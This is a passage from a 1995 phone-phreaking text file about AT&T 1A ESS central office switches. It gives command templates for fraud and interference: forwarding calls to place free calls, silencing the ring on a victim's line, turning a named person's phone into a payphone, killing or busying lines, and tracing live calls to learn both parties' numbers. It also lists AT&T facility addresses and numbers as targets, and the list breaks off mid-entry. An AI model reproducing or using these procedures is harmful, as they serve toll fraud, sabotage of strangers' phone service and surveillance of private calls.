-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Another nice use for the VFY command is to see what is on a line's speed calling list. Replace XXXXXXX with the target phone number. One devious use is to look at the CO's speed call list to find other internal telco numbers. VFY-LIST-09XXXXXXX020000 09=mask 02=single list (one digit speed calling) 20=double list (two digit speed calling) 28= " " 36= " " 44= " " To Build a Line -=-=-=-=-=-=-=- The recent change command (RC) is used to create and modify lines. Because RC commands are usually very long and complex, they are typed on multiple lines to simplify them. Each subfield of the data section of the command is typed on a separate line ended by a slash (\) followed by pressing ctrl-d. To create a line, you specify LINE in the identification field. Before a line can be created, you must first locate an unused number by using the VFY-DN command explained above. Once a free number has been found, you use the VFY-LEN to find an available LEN. To build a new line, follow these steps: First, find spare LEN (VFY-LEN-4100000000.). Next find free line. Now type in the RC commands using the following commands as a template: RC:LINE:\ (create a line) ORD 1\ (execute the command immediately) TN XXXXXXX\ (telephone number) LEN XXXXXXXX\ (len found from above) LCC 1FR\ (line class code 1fr) CFV\ (call forward) XXX 288\ (type XXX, space, then the three digit PIC) ld carrier - 222 - MCI 288 - AT&T 333 - Sprint, etc.) ! (BEWM, don't forget the ctrl-d!!) (Look for RCXX blah blah ACPT blah - This means the RECENT CHANGE has taken affect) Creating Call Forwarding Numbers -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= The call forwarding feature is the most important feature for hackers. By creating a line or modifying an existing line with call forwarding, you can than use it to make free phone calls. You set the line to call forward/ no ring and then give it the call forwarded number. This will allow you to call the modified line and be instantly forwarded to your pre-chosen destination. First create a line using RC:LINE:, then modify the line using the following commands as a template. RC:CFV:\ (add call forwarding to a line.. begin: ) ORD 1\ (execute the command immediately) BASE XXXXXXX\ (base number you are changing) TO XXXXXXX\ (local - XXXXXXX : ld - XXXXXXXXXX ) PFX\ (set prefix to 1 if ld) ! (BEWM) To Change Call Forward Number -=-=-=-=-=-=-=-=-=-=-=-=-=-=- It is safer to modify an existing call forward than to create a new line solely for this purpose. You can use the VFY command and EXMATCH for CFB to find lines with call forwarding. Before you can change the call forwarding 'TO' number you must delete the old one. Remove call forward number using CFV:OUT with the template below. RC:CFV;OUT:\ (remove call forward number...begin: ) ORD 1\ (execute command immediately) BASE XXXXXXX\ (number to remove it from) ! (Yeeee-Hahhhahah) Make Call Forward Not Ring -=-=-=-=-=-=-=-=-=-=-=-=-= The only drawback to call forwarding off someone's line is if rings they might answer. To get around this, you add the call-forward no-ring option (ICFRR) using the following as a template. RC:LINE;CHG:\ (recent change line to be specified) ORD 1\ (execute command immediately) TN XXXXXXX\ (number you wanna fuck with) ICFRR\ (this takes the ring off) ! (Go!) Adding a feature to a line -=-=-=-=-=-=-=-=-=-=-=-=-= The RC:LINE;CHG: can also be used to add any other call feature. Use the same template but change the feature. RC:LINE;CHG:\ (this is used for changing features) ORD 1\ (order number) TN XXXXXXX (telephone number you are fucking with) TWC\ (replace this with any feature you wish) ! (Fire!) Removing a Feature -=-=-=-=-=-=-=-=-= Use the NO delimiter to remove a feature from a line. RC:LINE;CHG:\ (change a feature) ORD 1\ (effective immediately) TN XXXXXXX\ (telephone number) CFV NO\ (feature followed by NO) ! (Boo-Ya!) Change Phone number into payphone -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- You've read about in the Hacker Crackdown, now you too can be 31337 and change Gail Thackery's phone into a payphone. In fact you can change the line class code (LCC) to anything you want. To display the LCC of a line use the following and replace the XXXXXXX with the line you wish to view. VF:DNSVY:LCC,DN XXXXXXX,1,PIC! (display line class code) DTF = Payphone 1FR = Flat Rate 1MR = Measured Rate 1PC = One Pay Phone CDF = DTF Coin PBX = Private Branch Exchange CFD = Coinless(ANI7) Charge-a-call INW = InWATS (800!@#) OWT = OutWATS PBM = O HO/MO MSG REG (NO ANI) PMB = LTG = 1 HO/MO (Regular ANI6) (ani6 and ani7 - only good for DMS) To change the line into a payphone use the RC:LINE;CHG command and modify the LCC like the example below. RC:LINE;CHG;\ (this is used for changing features) ORD 1\ (order number) TN XXXXXXX\ (telephone number you are fucking with) LCC DTF\ (line class code you are changing to) ! (Make it so.) *(You may have to remove some LASS features when doing this)* To Kill a Line and Remove It Permanently -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= If you need to delete a line you have created (or haven't) use the following syntax. RC:LINE;OUT:\ (remove line) ORD 1\ (effective immediately) TN XXXXXXX\ (on this number) ! (GO!) Monitoring Phone Calls -=-=-=-=-=-=-=-=-=-=-= There are powerful utilities to monitor calls and affect phone lines available on a 1A. The T-DN- commands allow you to check the current status of line and make it busy or idle. If a line happens to be active you can use the NET-LINE- command to trace the call and find the numbers for both calling parties. T-DN-RD XXXXXXX. See if call in progress. output: =1 line busy =0 line idle T-DN-MB XXXXXXX. Make line busy. T-DN-MI XXXXXXX. Make line idle. NET-LINE-XXXXXXX0000. To do a live trace on a phonenumber thru switch. NET-TNN-XXXXXX Same as above for trunk trace -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Appendix 1 - Common output messages seen on 1A switches -=-=-=-=-= ** ALARM ** AR01 Office alarm AR02 Alarm retired or transferred AR03 Fuse blown AR04 Unknown alarm scan point activated AR05 Commercial power failure AR06 Switchroom alarm via alarm grid AR07 Power plant alarm AR08 Alarm circuit battery loss AR09 AMA bus fuse blown AR10 Alarm configuration has been changed (retired,inhibited) AR11 Power converter trouble AR13 Carrier group alarm AR15 Hourly report on building and power alarms ** AUTOMATIC TRUNK TEST ** AT01 Results of trunk test ** CARRIER GROUP ** CG01 Carrier group in alarm CG03 Reason for above ** COIN PHONE ** CN02 List of pay phones with coin disposal problems CN03 Possible Trouble CN04 Phone taken out of restored service because of possible coin fraud ** COPY ** COPY Data copied from one address to another ** CALL TRACE ** CT01 Manually requested trace line to line, information follows CT02 Manually requested trace line to trunk, information follows CT03 Intraoffice call placed to a number with CLID CT04 Interoffice call placed to a number with CLID CT05 Call placed to number on the CI list CT06 Contents of the CI list CT07 ACD related trace CT08 ACD related trace CT09 ACD related trace ** DIGITAL CARRIER TRUNK ** DCT COUNTS Count of T carrier errors ** MEMORY DIAGNOSTICS ** DGN Memory failure in cs/ps diagnostic program ** DIGITAL CARRIER "FRAME" ERRORS ** FM01 DCT alarm activated or retired FM02 Possible failure of entire bank not just frame FM03 Error rate of specified digroup FM04 Digroup out of frame more than indicated FM05 Operation or release of the loop terminal relay FM06 Result of digroup circuit diagnostics FM07 Carrier group alarm status of specific group FM08 Carrier group alarm count for digroup FM09 Hourly report of carrier group alarms FM10 Public switched digital capacity failure FM11 PUC counts of carrier group errors ** MAINTENANCE ** MA02 Status requested, print out of MACII scratch pad MA03 Hourly report of system circuits and units in trouble MA04 Reports condition of system MA05 Maintenance interrupt count for last hour MA06 Scanners,network and signal distributors in trouble MA07 Successful switch of duplicated unit (program store etc.) MA08 Excessive error rate of named unit MA09 Power should not be removed from named unit MA10 OK to remove paper MA11 Power manually removed from unit MA12 Power restored to unit MA13 Indicates central control active MA15 Hourly report of # of times interrupt recovery program acted MA17 Centrex data link power removed MA21 Reports action taken on MAC-REX command MA23 4 minute report, emergency action phase triggers are inhibited ** MEMORY ** MN02 List of circuits in trouble in memory ** NETWORK TROUBLE ** NT01 Network frame unable to switch off line after fault detection NT02 Network path trouble Trunk to Line NT03 Network path trouble Line to Line NT04 Network path trouble Trunk to Trunk NT06 Hourly report of network frames made busy NT10 Network path failed to restore ** OPERATING SYSTEM STATUS ** OP:APS-0 OP:APSTATUS OP:CHAN OP:CISRC Source of critical alarm, automatic every 15 minutes OP:CSSTATUS Call store status OP:DUSTATUS Data unit status OP:ERAPDATA Error analysis database output OP:INHINT Hourly report of inhibited devices OP:LIBSTAT List of active library programs OP:OOSUNITS Units out of service OP:PSSTATUS Program store status ** PLANT MEASUREMENTS ** PM01 Daily report PM02 Monthly report PM03 Response to a request for a specific section of report PM04 Daily summary of IC/IEC irregularities ** REPORT ** REPT:ADS FUNCTION Reports that a ADS function is about to occur REPT:ADS FUNCTION DUPLEX FAILED No ADS assigned REPT:ADS FUNCTION SIMPLEX Only one tape drive is assigned REPT:ADS FUNCTION STATE CHANGE Change in state of ADS REPT:ADS PROCEDURAL ERROR You fucked up REPT:LINE TRBL Too many permanent off hooks, may indicate bad cable REPT:PROG CONT OFF-NORMAL System programs that are off or on REPT:RC CENSUS Hourly report on recent changes REPT:RC SOURCE Recent change system status (RCS=1 means RC Channel inhibited) ** RECENT CHANGE ** RC18 RC message response ** REMOVE ** RMV Removed from service ** RESTORE ** RST Restored to service status ** RINGING AND TONE PLANT ** RT04 Status of monitors ** SOFTWARE AUDIT ** SA01 Call store memory audit results SA03 Call store memory audit results ** SIGNAL IRREGULARITY ** SIG IRR Blue box detection SIG IRR INHIBITED Detector off SIG IRR TRAF Half hour report of traffic data ** TRAFFIC CONDITION ** TC15 Reports overall traffic condition TL02 Reason test position test was denied TL03 Same as above ** TRUNK NETWORK ** TN01 Trunk diagnostic found trouble TN02 Dial tone delay alarm failure TN04 Trunk diag request from test panel TN05 Trunk test procedural report or denials TN06 Trunk state change TN07 Response to a trunk type and status request TN08 Failed incoming or outgoing call TN09 Network relay failures TN10 Response to TRK-LIST input, usually a request from test position TN11 Hourly, status of trunk undergoing tests TN16 Daily summary of precut trunk groups ** TRAFFIC OVERLOAD CONDITION ** TOC01 Serious traffic condition TOC02 Reports status of less serious overload conditions ** TRANSLATION ** (shows class of service, calling features etc.) TR01 Translation information, response to VFY-DN TR03 Translation information, response to VFY-LEN TR75 Translation information, response to VF:DNSVY ** ** TW02 Dump of octal contents of memory Trace Output Appearance (COT - Customer Oriented Trace) A 03 CT04 22 03 02 05 11 26 359 705 8500 <-- NUMBER CALLED CPN 212 382 8923 <-- WHO CALLED 01/14/95 22:03:02 <-- TIME/DATE #236 <-- JOB NUMBER Appendix 2 - Miscellaneous 1A Commands found on logs from CO dumpsters: -=-=-=-=-= RMV::NPC 69! UTL::QRY.CMAP 136! UTL::QRY.SCON to 135! (as far out as to 12003!) UTL::QRY.SCON 13615/01! UTL::QRY.ALMS! UTL::QRY,WHO! UTL::QRY,ALL! UTL::QRY,FPKG! UTL::QRY,UNIT1,FTMI1, EQL GRTH::UNIT1! (FT100) <-- comment written by command GRTH::UNI1,FTMI1, EQL(L,R) (2,2) <-- Example UTL::QRY.! RMV::LINK 3! DGN::LINK 3! RST::LINK 3! UTL::QRY.TPS! RST::TAPE! (This and the next two commands were UTL::BMTR.FROM DISK.TO TAPE! ALWAYS found together, and are pretty RMV::TAPE! obvious) SDIS::FROM 11204/03.TO 11204/04! UTL::QRY.SCON.CH.TO 11204! UTL::QRY.CMAP.TO 11204/03! UTL::QRY,CMAP 01117! SCON::RATE 96.FROM 11204/03.TO 11204/4! LOGIN::USER DAX\ UTL::EQD,NPCS! ADD::LINK 2,NPCAD E! UTL::LOC,ETSI 101! |_|____________Bay (These show physical locations |____________Unit of trunks) UTL::LOC,NPC 01117! output - 1-01-38 |__|__|_________Bay |__|_________Unit |_________38(1/8) inches Appendix 3 - Suggested reading -=-=-=-=-= Acronyms 1988 (Phrack #20, file 11) Central Office Operations by Agent Steal (LoDTJ #4, file 4) ESS & 1A Switching Systems by Ninja Master The Fine Art of Telephony by Crimson Flash (Phrack #38, file 7) Guide to 5ESS by Firm G.R.A.S.P. (Phrack #43, file 16) Lifting Ma Bell's Cloak of Secrecy by VaxCat (Phrack #24, file 9) Operator Services Position System by Bandito (Phun #5, file 8) Peering Into the soul of ESS by Jack the Ripper (Phun #5, file 2) __________________________________________________________________________ (C)opywrong 1995, DeadKat Inc. All wrongs denied. <CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo> ▀▀▀▀▀▀▀▀▀ ▀─────▀▀▀▀▀▀▀▀▀▀ ▀▀────────▀▀▀▀▀▀▀▀▀▀ ┌────────────────────────────┐ ▀▀──────────▀▀▀▀▀▀▀▀▀▀ │ Thank you for abusing AT&T │ ▀▀───────────▀▀▀▀▀▀▀▀▀▀▀ └────────────────────────────┘ ▀▀▀─────────▀▀▀▀▀▀▀▀▀▀▀▀ Part II ▀▀▀──────▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ by Major & Dead Kat ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀ Some of the "Frequently Visited AT&T Locations": LOCATION CITY ST/ZIP TELEPHONE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~~~ ~~~~~~~~~~~ AT&T 1 PERIMETER PARK S. BIRMINGHAM AL 35243 205-969-4000 BIRMINGHAM AMO 300 CHASE PK.SO., RIVERCHASE BIRMINGHAM AL 35243 205-988-9300 MONTGOMERY MMC 2855 SELMA HIGHWAY MONTGOMERY AL 36108 205-281-6200 AT&T 3280 DAUPHIN ST., BLDG B MOBILE AL 36606 205-470-1000 LITTLE ROCK WORKS 7600 INTERSTATE #30 LTTL ROCK AR 72209 501-569-4411 AT&T 10825 #2 FINANCIAL CNTR. SUITE 300 LTTL ROCK AR 72211 501-223-1000 PHOENIX WORKS 505 N.51ST AVE PHOENIX AZ 85002 602-233-5000 AT&T MICROELECT. SALES 432 N. 44TH ST. PHOENIX AZ 85008 602-204-1100 PHOENIX CAC 3750 W. INDIAN SCHOOL RD. PHOENIX AZ 85019 602-269-6666 AT&T 333 S. BEAUDRY AVE. L.A. CA 90017 213-481-9100 AT&T 333 S. BEAUDRY AVE. L.A. CA 90017 213-482-5799 LOS ANGELES CP (SVC) 2400 YATES AVE L.A. CA 90040 213-726-5000 CYPRESS INNST. 6300 GATEWAY DR. CYPRESS CA 90630 714-220-6200 AT&T MICROELEC. SLES 6300 GATEWAY DR. CYPRESS CA 90630 714-220-6223 AT&T 200 NO. WESTLAKE BLVD. SUITE 103 TH.OAKS CA 91362 805-373-9390 VANDENBURG AFB FED. SYS LOMPOC CA 93437 805-866-1611 AT&T FED SYS 3201 SKYWAY DR. SAN MONICA CA 93455 805-349-8649 AT&T 1111 E. HERNDON AVE. SUITE 31 FRESNO CA 93710 209-449-4200 AT&T SAND HILL RD SUITE 216 MENLO PARK CA 94025 415-324-6000 AT&T 224 AIRPORT PKWY SAN JOSE CA 94086 408-452-3200 SUNNYVALE REG. CTR. 1090 E. DUANE AVE. SUNNYVALE CA 94086 408-522-4000 HAYWARD SVC 1288 SAN LUIS OBISPO AVE. HAYWARD CA 94544 415-475-5000 AT&T 4430 ROSEWOOD DR. PLEASANTON CA 94566 415-224-1000 AT&T 1717 DOOLITTLE DR. SN LEANDRO CA 94577 415-678-1000 SAN RAMON AMO BLD 2440 CAMINO RAMON SAN RAMON CA 94583 415-830-4300 AT&T 2201 BROADWAY OAKLAND CA 94612 415-273-2800 PACIFIC REGION MMC 3301 INDUSTRIAL AVE. ROCKLIN CA 95677 916-645-8911 AT&T 8950 CALIFORNIA CNTR. DR. SACRAMENTO CA 95826 916-361-4600 DENVER SVC CNTR. 11900 E. CORNELL AVE. AURORA CO 80014 303-368-2000 AT&T 3190 S. VAUGHN WAY AURORA CO 80014 303-695-5000 AT&T BMG 6200 S. SYRACUSE WAY ENGLEWOOD CO 80111 303-850-7000 AT&T-NS SALES 707 17TH ST. DENVER CO 80202 303-291-4001 DENVER SVC 2551 E. 40TH AVE. DENVER CO 80205 303-291-4200 DENVER WORKS 1200 W. 120TH AVE DENVER CO 80234 303-538-1200 AT&T-BL DENVER NO. 12110 PECOS ST. WESTMNSTR CO 80234 303-538-1813 AT&T-BL 11900 N. PECOS ST. DENVER CO 80234 303-538-4011 AT&T 7979 E. TUFTS AVE. DENVER CO 80237 303-290-3100 AT&T 13952 DENVER WEST PKWY. GOLDEN CO 80401 303-273-2000 AT&T FED SYS 6200 S. SYRACUSE WAY ENGLEWOOD CO 80401 303-793-8800 AT&T-NS SALES 6300 GATEWAY DR. CYPRESS CO 90630 714-220-6200 AT&T 8 TWO MILE RD FARMINGTON CT 06032 203-678-3800 ORANGE CUST. REPAIR CTR. 50 BOSTON POST RD. ORANGE CT 06477 203-795-4721 CONNECTICUT AMO 2750 DIXWELL AVE HAMDEN CT 06518 203-287-4070 AT&T 777 LONGRIDGE RD STAMFORD CT 06851 203-845-5600 AT&T 1825 I ST. N.W. SUITE 800 WASHINGTON DC 20006 202-429-1300 WASH-DC 1120 20TH ST.,NW WASHINGTON DC 20006 202-457-2000 AT&T 222 DELAWARE AVE. WILMINGTON DE 19801 302-888-6000 AT&T 1401 E. BELMONT ST. PENSACOLA FL 32501 904-432-7454 AT&T 151 S. WYMORE RD ALTA SPGS. FL 32714 407-869-2200 AT&T 2301 MAITLAND CTR. PKWY. MAITLAND FL 32751 407-660-3200 AT&T 2400 MAITLAND CTR. PKWY. MAITLAND FL 32751 407-660-3200 AT&T 850 TRAFALGAR COURT MAITLAND FL 32751 407-660-3200 AT&T 901 LAKE DESTINY DR. ORLANDO FL 32809 407-875-4400 AT&T 8221 EXCHANGE DRIVE ORLANDO FL 32809 407-850-3000 AT&T 6039 S. RIO GRANDE AVE. ORLANDO FL 32809 407-850-8000 AT&T MICROELECT.9333 S. JOHN YOUNG PKWY ORLANDO FL 32819 407-345-6000 AT&T 9701 S. JOHN YOUNG PARKWAY ORLANDO FL 32819 407-351-7100 AT&T 100 WEST CYPRESS CREEK FT. LAUD. FL 33309 305-493-6100 ATLANTA WKS 2000 NORTHEAST EXPRESSWAY NORCROSS GA 30071 404-447-2000 AT&T FED SYS. 1975 LAKESIDE PKWAY TUCKER GA 30085 404-496-8200 AT&T MICROELECT. SALES 3295 RIVER EXCH.DR NORCROSS GA 30092 404-390-5000 AT&T 1200 PEACHTREE ST. NE ATLANTA GA 30309 404-390-5000 ATLANTA FOC 7840 ROSEWELL RD. ATLANTA GA 30328 404-390-5000 ATLANTA S. CTR. 6701 ROSEWELL RD. NE. ATLANTA GA 30328 404-573-4000 AT&T 2970 CLAIRMONT RD. 4TH FL ATLANTA GA 30329 404-248-2126 ATLANTA SVC 5885 FULTON IND'L BLVD. SW. ATLANTA GA 30336 404-346-4000 ATL-ACCTS PAY 365 NORTHRIDGE RD. ATLANTA GA 30338 404-392-8900 AT&T 2800 CENTURY CTR. PKWY ATLANTA GA 30345 404-320-3800 ATLANTA DATA SYS 211 PERIMETER CTR. PKWY ATLANTA GA 30346 404-399-0100 ATLANTA FIN.OPS MORGAN FLS ROSEWELL RD.,NE. ATLANTA GA 30350 404-390-5000 AT&T 2300 NORTHLAKE CTR. TUCKER GA 30350 404-496-8200 AT&T MMC INTERSTATE 80 & HIGHWAY 630 UNDERWOOD IA 51519 712-566-3300 ROLLING MEADOWS 3800 GOLD RD. ROLNG MDWS IL 60008 708-290-2000 AT&T MICROELECT. SALES 500 PARK BLVD ITASCA IL 60143 312-855-6300 AT&T 150 MARTINDALE RD SHAUMBERG IL 60173 708-605-5000 AT&T REPAIR & SRV. CTR. 1700 HAWTHORNE LN. W CHICAGO IL 60185 312-293-5100 AT&T DATA SVCS 180 HANSEN CT. WOODDALE IL 60191 708-860-8100 AT&T FED SYS 1411 OPUS PLACE DOWNERS GR IL 60515 708-810-4000 AT&T 1111 W. 22ND ST. OAKBROOK IL 60521 708-571-5320 UIS SHOWCASE 2600 WARRENVILLE RD. LISLE IL 60532 708-260-7900 NWSW CTR. 2600 WARRENVILLE RD. LISLE IL 60532 708-510-4000 NWSW CTR. CORPORATE LAKES 2500 CABOT DRIVE LISLE IL 60532 708-510-4000 LISLE PS 850 WARRENVILLE RD. LISLE IL 60532 708-719-1005 AT&T LISLE CTR 4513 WESTERN AVE. LISLE IL 60532 708-810-6000 CEO-WEST 1195 SUMMER HILL DRIVE LISLE IL 60532 708-971-5000 MONTGOMERY WORKS 800 S. RIVER ST. MONTGOMERY IL 60538 708-859-4000 WARRENVILLE 28W. 615 FERRY RD. WARRENVILE IL 60555 708-393-8000 INDIAN HILL COURT 1000 E. WARRENVILLE RD. NAPERVILLE IL 60566 708-305-3000 IH PARK-BL 200 PARK PLAZA NAPERVILLE IL 60567 708-979-2000 AT&T ONE S. WACKER DRIVE CHICAGO IL 60606 708-592-6558 AT&T 11595 N. MERIDIAN ST. CARMEL IN 46032 317-844-6674 INDIANAPOLIS INST.8700ROBERTS DR SUITE 100 FISCHERS IN 46038 317-578-0160 INDIANA AMO N. 151 N.DELAWARE ST. SUITE565 INDIANAPOL IN 46204 317-632-9161 INDIANAPOLIS SVC (CIC) 2855 N. FRANKLIN RD. INDIANAPOL IN 46219 317-352-0011 INDIANAPOLIS HERITAGE PK 6612 E. 75TH ST. INDIANAPOL IN 46250 317-845-8980 AT&T 404 COLUMBIA PLACE-SUITE 210 SOUTH BEND IN 46601 219-232-2000 KANSAS CITY SVC CNTR. 9501 W. 67TH ST. MERRIAM KS 66203 913-677-6000 AT&T 5401 COLLEGE BLVD. LEAWOOD KS 66211 913-491-9840 AT&T 200 NO. BROADWAY, SUITE 400 WICHITA KS 67202 316-269-7500 AT&T 9300 SHELBYVILLE RD LOUISVILLE KY 40222 502-429-1000 AT&T 3500 N. CAUSEWAY BLVD. 10th FLOOR METAIRIE LA 70002 504-832-4300 AT&T 4354 S. SHERWOOD FOREST BLVD. BATONROUGE LA 70816 504-922-6600 AT&T 3010 KNIGHT ST., SUITE 190 SHREVEPORT LA 71105 318-869-2041 SHREVEPORT WORKS 9595 MANSFIELD RD. SHREVEPORT LA 71108 318-459-6000 AT&T 365 CADWELL DR. RM 168 SPRINGFLD MA 01104 413-785-4400 AT&T MICROELECT. 111 SPEEN ST. FRAMINGHAM MA 01701 508-626-2161 ANDOVER 20 SHATTUCK RD. ANDOVER MA 01810 508-691-3000 AT&T-WARD HILL 75 FOUNDATION AVE. WARD HILL MA 01835 508-374-5600 MERRIMACK VALLEY 1600 OSGOOD ST. N.ANDOVER MA 01845 508-960-2000 AT&T ACCT MGMT 800 BOYLESTON ST. BOSTON MA 02110 617-437-8800 AT&T-BL 800 BOYLESTON ST. BOSTON MA 02110 617-437-8870 AT&T NAT'L ACCTS 100 SUMMER ST. BOSTON MA 02110 617-574-6000 NEW ENGLAND SVC 705 MT. AUBURN ST. WATERTOWN MA 02172 617-923-0765 AT&T 430 BEDFORD ST. LEXINGTON MA 02173 617-863-9000 BETHESDA AMO 6410 ROCKLEDGE DR. BETHESDA MD 20817 301-493-2000 AT&T FED SYS 1100 WAYNE AVE SLVR SPGS MD 20910 301-495-7400 COCKEYSVILLE N.S. SALES 225 SCHILLING CRCL. COCKEYVLLE MD 21030 301-584-1234 FEDERAL SYS. MD 9160 GUILFORD RD COLUMBIA MD 21045 301-369-7700 COULUMBIA MD 9305D GERWIG LN. COLUMBIA MD 21046 301-381-6150 AT&T 400 EAST PRATT ST. BALTIMORE MD 21202 301-576-5700 TRANSPACIFIC COMM.,INC.1001 MCCOMAS ST. BALTIMORE MD 21230 301-385-0425 AT&T 136 COMMERCIAL ST., FLR 2 PORTLAND ME 04101 207-761-1400 AT&T 26957 NORTHWESTERN HWY. SOUTHFIELD MI 48034 313-353-6210 AT&T-NS 27777 FRANKLIN RD., SUITE 500 SOUTHFIELD MI 48034 313-355-7200 NILES MMC 2121 W. CHICAGO RD. NILES MI 49120 616-684-6400 AT&T 2861 CHARLEROIX, S.E. GRAND RPDS MI 49546 616-957-8200 AT&T 4480 W. ROUNDLAKE RD. ARDEN HLLS MN 55112 612-633-4803 MINNEAPOLIS SC 2230 COUNTY RD. H2 MOUNDSVIEW MN 55112 612-780-7750 AT&T 420 THIRD AVE. S., RM 670 MINEAPOLIS MN 55415 612-626-9300 AT&T MICROELECT. SALES W 82ND ST BLOOMINGTN MN 55431 612-885-4600 BALLWIN 1111 WOODS MILL RD. BALLWIN MO 63011 314-891-2000 ST.LOUIS-NS 701 MARKET ST. SUITE 900 ST. LOUIS MO 63101 314-891-5000 AT&T 400 S. WOODS MILL RD. CHSTRFLD MO 63107 314-275-1400 AT&T 424 S. WOODS MILL RD. CHSTRFLD MO 63107 314-469-2500 KANSAS CITY WORKS 777 N. BLUE PKWY LEESSUMMIT MO 64063 816-251-4000 KANSAS CITY AMO 1100 WALNUT ST. KANSASCITY MO 64141 816-654-4000 NC WORKS 3300 LEXINGTON RD. S.E. WIN-SALEM NC 27102 919-784-1110 REYNOLDA RD. (DDO) 2400 REYNOLDA RD. WIN-SALEM NC 27106 919-727-3100 BURLINGOTN NC 204 GRAHAM-HOPEDALE RD. BURLINGTON NC 27215 919-228-3000 GUILFORD CTR. I-85 MT HOPE CHURCH RD. MCLEANSVLE NC 27301 919-279-7000 NS 1701 PINECROFT RD. GREENSBORO NC 27407 919-855-2775 AT&T 7031 ALBERT PICK RD., SUITE 300 GREENSBORO NC 27409 919-668-1800 AT&T ENGR. 3330 W. FRIENDLY AVE. GREENSBORO NC 27410 919-379-5301 AT&T MICROELECT. SALES 5400 GLENWOOD RD. RALEIGH NC 27612 919-881-8023 AT&T 6701-A NORTHPARK BLVD. CHARLOTTE NC 28216 704-597-3050 AT&T 2 CENTRAL PARK PLAZA OMAHA NE 68102 402-595-5001 OMAHA AMO 222 S. 15th.ST, SUITE 200 S. OMAHA NE 68124 402-595-5001 OMAHA WORKS 120 & 1 ST OMAHA NE 68137 402-691-3000 AT&T 10843 OLD MILL RD OMAHA NE 68154 402-334-6000 AT&T 4 BEDFORD FARMS BEDFORD NH 03102 603-623-6100 SIMPLEX WIRE (TYCO LABS) 2073 WOODBURY AVE. NEWINGTON NH 03801 603-436-6100 PARSIPPANY 260 CHERRY HILL RD. PARSIPPANY NJ 07054 201-299-3000 PARSIPPANY 4 WOOD HOLLOW RD. PARSIPPANY NJ 07054 201-428-7700 PARSIPPANY CP 5 WOOD HOLLOW RD. PARSIPPANY NJ 07054 201-581-3000 AT&T 99 JEFFERSON RD. WOODHOLLOW III PARSIPPANY NJ 07054 201-581-5600 AT&T 4 CAMPUS DRIVE PARSIPPANY NJ 07054 201-829-1000 AT&T 700 LANIDEX PLAZA PARSIPPANY NJ 07054 201-884-7000 AT&T 1515 RTE 10 PARSIPPANY NJ 07054 201-993-4200 LIBERTY CORNER 184 LIBERTY CORNER RD WARREN NJ 07060 201-580-4000 AT&T-BL WARREN SRVC. CTR. 5 REINMAN RD. WARREN NJ 07060 201-756-1527 CLARK SHOPS 100 TERMINAL AVE. CLARK NJ 07066 201-396-4000 SHORT HILLS BELL LABS 101 JFK PKWY SHORTHILLS NJ 07078 201-564-2000 AT&T 5000 HADLEY RD SO.PLNFLD NJ 07080 201-668-3200 QUALITY MGMT ENGIN. 650 LIBERTY AVE. UNION NJ 07083 201-851-3333 AT&T 1480 ROUTE 9 N. WOODBRIDGE NJ 07095 201-750-3100 TWO GATEWAY CTR. NEWARK NJ 07102 201-468-6000 FREEHOLD AT&T JUNIPER PLAZA RT.9 FREEHOLD NJ 07728 201-577-5000 AT&T-BL CRAWFORD HILL KEYPORT RD. HOLMDEL NJ 07733 201-888-7000 AT&T-BL CRAWFORDS CORNER RD HOLDMEL NJ 07733 201-957-2000 AT&T 307 MIDDLETOWN-LINCROFT RD. LINCROFT NJ 07738 201-576-4000 RED HILL-BL 480 RED HILL RD MIDDLETOWN NJ 07748 201-949-3000 AT&T 200 LAUREL AVE MIDDLETOWN NJ 07748 201-957-2000 W. LONG BRANCH 185 MONMOUTH PKWY W.LG.BRNCH NJ 07764 201-870-7000 SUMMIT 190 RIVER RD. SUMMIT NJ 07901 201-522-6555 AT&T 233 MT. AIRY RD BSK RDGE NJ 07920 201-204-4000 AT&T 188 MT. AIRY RD BSK RDGE NJ 07920 201-221-2000 BASKING RIDGE 295 NO. MAPLE AVE. BSK RDGE NJ 07920 201-221-2000 AT&T 131 MORRISTOWN RD BSK RDGE NJ 07920 201-953-3900 AT&T RMC 222 MT. AIRY RD BSK RDGE NJ 07920 201-953-5300 AT&T INTNAT'L MT. KEMBLE AVE BSK RDGE NJ 07920 201-953-7000 AT&T-COMM. TR. 202-206N. BEDMINSTER NJ 07921 201-234-4000 BERKELEY HEIGHTS 1 OAK WAY BRKLY HGTS NJ 07922 201-771-2000 BERKELEY HEIGHTS 2 OAK WAY BRKLY HGTS NJ 07922 201-771-2000 BERNARDSVILLE 4 ESSEX AVE BERNARDSVL NJ 07924 201-204-2701 AT&T-BL NORTH RD CHESTER NJ 07930 201-879-3400 MT. KEMBLE PLAZA 340 RTE. 202 S. MORRISTOWN NJ 07960 201-326-2000 AT&T CAPITAL CORP. 44 WHIPPANY RD. MORRISTOWN NJ 07960 201-397-3000 MORRISTOWN AMO 111 MADISON AVE. MORRISTOWN NJ 07960 201-631-3700 AT&T 412 MOUNT KEMBLE AVE. MORRISTOWN NJ 07960 201-644-6000 AT&T 60 COLUMBIA TRNPK MORRISTOWN NJ 07960 201-829-7200 MORRIS BELL LABS 25 LINDSLEY DR. MORRISTOWN NJ 07960 201-898-1000 AT&T 1 SPEEDWELL AVE. MORRISTOWN NJ 07960 201-898-2000 AT&T 1776 ON THE GREEN MORRISTOWN NJ 07960 201-898-6000 AT&T 100 SOUTHGATE PARKWAY MORRISTOWN NJ 07960 201-898-8000 SOUTH GATE 475 SOUTH ST. MORRISTOWN NJ 07962 201-606-2000 MURRAY HILL 600 MOUNTAIN AVE. MURRAYHILL NJ 07974 201-582-3000 AT&T-T 40 MOUNTAIN AVE. MURRAYHILL NJ 07974 201-665-7000 WHIPPANY BELL LABS WHIPPANY RD WHIPPANY NJ 07981 201-386-3000 PENNSAUKEN SUP. 1077 THOM. BUSH MEM. HWY PENNSAUKEN 